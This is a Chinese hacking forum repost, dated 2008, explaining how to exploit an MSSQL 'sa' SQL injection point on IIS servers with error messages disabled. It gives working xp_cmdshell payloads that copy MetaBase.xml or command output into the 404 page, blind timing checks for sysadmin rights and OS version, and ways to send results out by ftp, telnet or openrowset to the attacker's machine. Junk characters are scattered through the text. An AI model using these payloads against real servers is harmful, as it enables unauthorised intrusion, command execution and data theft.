遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。, U: j( x! b. G4 W g1 W
% l- r2 V2 n7 v6 i5 n9 ^ 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
! l4 w8 |6 C* \- }" _) O/ G6 a' C
7 ^ x! @+ v: ]( A3 d 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
e1 _* c+ U% i, F$ E+ A2 l' u0 [2 t3 G3 W6 k
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
( x) o+ z2 i1 s% Y8 o6 k
3 A* H& o3 P; H- J k+ Y$ h 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
# U& ]$ D- a% |- K, r( w
9 u, \6 t9 m& p, Z- F ^ ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
4 H6 o, w* F- c
! O% N C! f! a1 e6 ^! ~ 执行命令得到回显
6 [0 K1 ~1 N5 f( S6 T. ?: Q4 L I5 a% b! L, W3 H g' X+ x1 @, D* ~, `
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
7 ~: |/ V! f# @! q1 X3 W
! l/ ^: A9 o8 f k 得到文件也shi相同,把文件copy到404b.htm就行了4 T, Z8 D4 [$ W, r5 F
* r' y" l6 u b- x. C, B
by 28ice, 2008/6/26
/ H* Z$ g( i( m* j2 z1 X1 `' m5 j$ A
/ ]- [% V v3 W& R3 w: p9 D% m 摘自 28度的冰
0 _8 l1 Z }. ~+ x
; {4 t$ u" J i! C9 T9 q% C 盲注判断权限和操作系统版本2 p6 D) a: U3 z' B0 K8 e
/ d& p% ?, {/ M# ~* s; G
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
" |6 r9 n9 k6 y
9 D0 u4 M- ]& o- d- B) j4 b 最简单的,可能以用这样的方法:% m3 { j$ Y7 w0 e K, I& Q' M1 o
' G3 e$ |% @0 A% s 1=(select IS_SRVROLEMEMBER(’sysadmin’))
% m. I+ C9 D2 {: [
( {& r( O2 }- N2 H# x. |( d2 W: m 当然,有些情况下,这个方法并不奏效。" {! X/ ~; `* C
" [! t! w6 ?! Y+ P8 t/ a: j
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。* L4 p) y9 `# {* p3 R; U3 G0 r: g
( I; T; N! o, {, M5 K' _
有个3办法可能以解决这个问题
! v g, {5 {- E1 H
1 | i2 X6 Z) T2 ~0 v8 M a.把执行结果写到404b.htm,具体请看我的上一篇文章: o4 ?% T! e M+ d
3 e6 X( \/ B$ ]- Q b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟8 c9 m& A* \" b! r* N! H% u. U
" q1 Q$ _" A( U- a
c.如果1433端口可能以连接,那干脆新建个sql登录) H3 R2 }0 ^% g5 N: }1 O9 y) W
) C; d8 e6 K0 B3 g, S' A- v& u# A+ d
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
- O8 P9 ]7 k- |5 a( S+ k% q Y+ u9 h9 }9 |1 _4 }# i
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
" F; x& c$ p: A$ r
* s) E0 t/ L$ Q" `7 @; a3 z) Q 很简单
' R* y7 p$ W( G! u2 l! I
) K7 j% _* W5 |( [ 执行systeminfo f9 C/ N ^" @
0 x! I, z+ A- g4 ~) D, A4 c 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |